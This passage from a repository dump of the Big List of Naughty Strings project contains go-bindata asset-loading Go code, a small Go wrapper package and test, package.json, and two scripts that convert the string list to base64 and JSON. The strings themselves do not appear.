1314 | // directory embedded in the file by go-bindata.
1315 | // For example if you run go-bindata on data/... and data contains the
1316 | // following hierarchy:
1317 | // data/
1318 | // foo.txt
1319 | // img/
1320 | // a.png
1321 | // b.png
1322 | // then AssetDir("data") would return []string{"foo.txt", "img"}
1323 | // AssetDir("data/img") would return []string{"a.png", "b.png"}
1324 | // AssetDir("foo.txt") and AssetDir("notexist") would return an error
1325 | // AssetDir("") will return []string{"data"}.
1326 | func AssetDir(name string) ([]string, error) {
1327 | node := _bintree
1328 | if len(name) != 0 {
1329 | cannonicalName := strings.Replace(name, "\\", "/", -1)
1330 | pathList := strings.Split(cannonicalName, "/")
1331 | for _, p := range pathList {
1332 | node = node.Children[p]
1333 | if node == nil {
1334 | return nil, fmt.Errorf("Asset %s not found", name)
1335 | }
1336 | }
1337 | }
1338 | if node.Func != nil {
1339 | return nil, fmt.Errorf("Asset %s not found", name)
1340 | }
1341 | rv := make([]string, 0, len(node.Children))
1342 | for childName := range node.Children {
1343 | rv = append(rv, childName)
1344 | }
1345 | return rv, nil
1346 | }
1347 |
1348 | type bintree struct {
1349 | Func func() (*asset, error)
1350 | Children map[string]*bintree
1351 | }
1352 | var _bintree = &bintree{nil, map[string]*bintree{
1353 | "..": &bintree{nil, map[string]*bintree{
1354 | "blns.base64.json": &bintree{BlnsBase64Json, map[string]*bintree{}},
1355 | "blns.json": &bintree{BlnsJson, map[string]*bintree{}},
1356 | }},
1357 | }}
1358 |
1359 | // RestoreAsset restores an asset under the given directory
1360 | func RestoreAsset(dir, name string) error {
1361 | data, err := Asset(name)
1362 | if err != nil {
1363 | return err
1364 | }
1365 | info, err := AssetInfo(name)
1366 | if err != nil {
1367 | return err
1368 | }
1369 | err = os.MkdirAll(_filePath(dir, filepath.Dir(name)), os.FileMode(0755))
1370 | if err != nil {
1371 | return err
1372 | }
1373 | err = ioutil.WriteFile(_filePath(dir, name), data, info.Mode())
1374 | if err != nil {
1375 | return err
1376 | }
1377 | err = os.Chtimes(_filePath(dir, name), info.ModTime(), info.ModTime())
1378 | if err != nil {
1379 | return err
1380 | }
1381 | return nil
1382 | }
1383 |
1384 | // RestoreAssets restores an asset under the given directory recursively
1385 | func RestoreAssets(dir, name string) error {
1386 | children, err := AssetDir(name)
1387 | // File
1388 | if err != nil {
1389 | return RestoreAsset(dir, name)
1390 | }
1391 | // Dir
1392 | for _, child := range children {
1393 | err = RestoreAssets(dir, filepath.Join(name, child))
1394 | if err != nil {
1395 | return err
1396 | }
1397 | }
1398 | return nil
1399 | }
1400 |
1401 | func _filePath(dir, name string) string {
1402 | cannonicalName := strings.Replace(name, "\\", "/", -1)
1403 | return filepath.Join(append([]string{dir}, strings.Split(cannonicalName, "/")...)...)
1404 | }
1405 |
1406 |
--------------------------------------------------------------------------------
/naughtystrings/naughtystrings.go:
--------------------------------------------------------------------------------
1 | //go:generate go get -u github.com/jteeuwen/go-bindata/go-bindata
2 | //go:generate go install github.com/jteeuwen/go-bindata/go-bindata
3 | //go:generate go-bindata -ignore \.git\S* -ignore LICENSE -ignore README\.md -ignore blns\.base64\.txt -ignore blns\.txt -ignore package\.json -o internal/resource.go -nocompress -pkg internal ..
4 |
5 | // Package naughtystrings is a collection of strings that have a high probability of causing issues when used as user input.
6 | package naughtystrings
7 |
8 | import (
9 | "encoding/json"
10 |
11 | "github.com/minimaxir/big-list-of-naughty-strings/naughtystrings/internal"
12 | )
13 |
14 | var base64encoded, unencoded []string
15 |
16 | // Base64Encoded returns the strings encoded in base 64.
17 | func Base64Encoded() []string {
18 | return base64encoded
19 | }
20 |
21 | // Unencoded returns the strings.
22 | func Unencoded() []string {
23 | return unencoded
24 | }
25 |
26 | func init() {
27 | base64encoded = load("../blns.base64.json")
28 | unencoded = load("../blns.json")
29 | }
30 |
31 | func load(file string) []string {
32 | var asset, err = internal.Asset(file)
33 |
34 | if err != nil {
35 | panic(err)
36 | }
37 |
38 | var naughty []string
39 |
40 | if err := json.Unmarshal(asset, &naughty); err != nil {
41 | panic(err)
42 | }
43 |
44 | return naughty
45 | }
46 |
--------------------------------------------------------------------------------
/naughtystrings/naughtystrings_test.go:
--------------------------------------------------------------------------------
1 | package naughtystrings
2 |
3 | import "testing"
4 |
5 | func TestNaughtyStrings(t *testing.T) {
6 | for _, test := range [][]string{Base64Encoded(), Unencoded()} {
7 | t.Logf("Test: %v", test)
8 |
9 | if n := len(test); n == 0 {
10 | t.Error("Length: 0")
11 | }
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "big-list-of-naughty-strings",
3 | "version": "1.0.0",
4 | "description": "The Big List of Naughty Strings is a list of strings which have a high probability of causing issues when used as user-input data",
5 | "author": "Max Woolf <max@minimaxir.com>",
6 | "main": "blns.json",
7 | "repository": "minimaxir/big-list-of-naughty-strings",
8 | "license": "MIT",
9 | "bugs": {
10 | "url": "https://github.com/minimaxir/big-list-of-naughty-strings/issues"
11 | },
12 | "homepage": "https://github.com/minimaxir/big-list-of-naughty-strings#readme"
13 | }
14 |
--------------------------------------------------------------------------------
/scripts/texttobase64.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | set -o errexit -o nounset -o pipefail
4 |
5 | commentChar="#"
6 | while read -r line
7 | do
8 | firstChar="${line:0:1}"
9 | if [[ "$firstChar" != "$commentChar" ]] && [[ -n "$firstChar" ]]
10 | then
11 | echo -n "$line" | base64
12 | else
13 | echo "$line"
14 | fi
15 | done <blns.txt
16 |
--------------------------------------------------------------------------------
/scripts/txt_to_json.py:
--------------------------------------------------------------------------------
1 | ### Quick Python Script to convert the Big List of Naughty Strings into a JSON file
2 | ###
3 | ### By Max Woolf
4 |
5 | import json
6 |
7 | with open('../blns.txt', 'r') as f:
8 |
9 | # put all lines in the file into a Python list
10 | content = f.readlines()
11 |
12 | # above line leaves trailing newline characters; strip them out
13 | content = [x.strip('\n') for x in content]
14 |
15 | # remove empty-lines and comments
16 | content = [x for x in content if x and not x.startswith('#')]
17 |
18 | # insert empty string since all are being removed
19 | content.insert(0, "")
20 |
21 | # special case: convert "\" to "\\" for valid JSON
22 | #content = map(lambda x: x.replace('\','\\'), content)
23 |
24 | with open('../blns.json', 'wb') as f:
25 |
26 | # write JSON to file; note the ensure_ascii parameter
27 | json.dump(content, f, indent=2, ensure_ascii=False)
28 |
29 |
--------------------------------------------------------------------------------